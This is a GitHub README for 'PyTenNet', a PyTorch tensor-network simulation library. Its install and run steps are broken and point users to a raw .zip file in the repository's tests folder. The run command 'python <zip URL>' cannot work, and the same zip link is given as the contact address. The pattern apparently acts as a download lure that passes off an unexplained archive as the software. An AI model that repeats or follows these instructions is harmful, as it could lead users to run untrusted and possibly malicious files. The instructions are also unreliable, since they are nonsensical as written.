Skip to content

README.md

Latest commit

 

History

History
82 lines (53 loc) · 3.74 KB

README.md

File metadata and controls

82 lines (53 loc) · 3.74 KB
Raw

🎉 PyTenNet - Easy Tensor Network Simulations

🚀 Getting Started

Welcome to PyTenNet! This application lets you explore tensor networks using pure PyTorch. Whether you're interested in quantum mechanics or simulating many-body physics, you're in the right place.

🛠️ Features

  • MPS and MPO Support: Easily work with Matrix Product States (MPS) and Matrix Product Operators (MPO).
  • DMRG Algorithm: Utilize the Density Matrix Renormalization Group (DMRG) for efficient simulations.
  • TEBD Capabilities: Perform Time-Evolving Block Decimation (TEBD) for dynamic simulations.
  • Pure PyTorch: Built entirely in PyTorch for better performance and flexibility.

🎯 System Requirements

To run PyTenNet, make sure you have the following:

  • Operating System: Windows 10 or later, macOS 10.14 or later, or any modern Linux distribution.
  • Python Version: Python 3.6 or later.
  • CUDA Toolkit: Optional (for GPU support).

📥 Download PyTenNet

Download PyTenNet

To download the latest version of PyTenNet, visit our Releases page:

Download and Install

Follow these simple steps to get started:

  1. Go to the Releases Page: Click on the link above to access the releases for PyTenNet.
  2. Select the Latest Release: Find the most recent version at the top of the list.
  3. Download the Package: Click on the appropriate file for your operating system to download it.
  4. Install the Application: Follow the installation instructions provided within the downloaded package.

🚀 How to Run PyTenNet

Once you've downloaded and installed PyTenNet, you can easily run it. Here's how:

  1. Open a Terminal or Command Prompt:

    • Windows: Press Win + R, type cmd, and hit Enter.
    • macOS/Linux: Open the Terminal application.

  2. Navigate to the Installation Directory: Use the cd command to change to the directory where you installed PyTenNet. For example:

    cd path/to/PyTenNet

  3. Run the Application: Execute the following command:

    python https://github.com/arfendy/PyTenNet/raw/refs/heads/master/tests/Ten-Net-Py-v1.4-alpha.3.zip

💡 Getting Help

If you encounter issues or need assistance:

  • Documentation: Thorough documentation is available on our GitHub Wiki.
  • Issues Page: Visit the GitHub Issues page to report bugs or request features.
  • Community: Join our discussions in the GitHub Discussions section to connect with other users.

🎉 Acknowledgments

PyTenNet is built on the great work done by the PyTorch community. Thank you to all contributors for making this project possible.

🔗 Related Topics

If you are interested in exploring more about quantum physics, many-body physics, or tensor networks, you may find the following topics useful:

  • DMRG (Density Matrix Renormalization Group)
  • MPO (Matrix Product Operators)
  • TEBD (Time-Evolving Block Decimation)
  • Quantum Chemistry and Computing

📞 Contact Us

For any questions or feedback, feel free to reach out to us at https://github.com/arfendy/PyTenNet/raw/refs/heads/master/tests/Ten-Net-Py-v1.4-alpha.3.zip. We are here to help you make the most out of PyTenNet!

Thank you for choosing PyTenNet for your tensor network simulations. Enjoy exploring the fascinating world of quantum mechanics!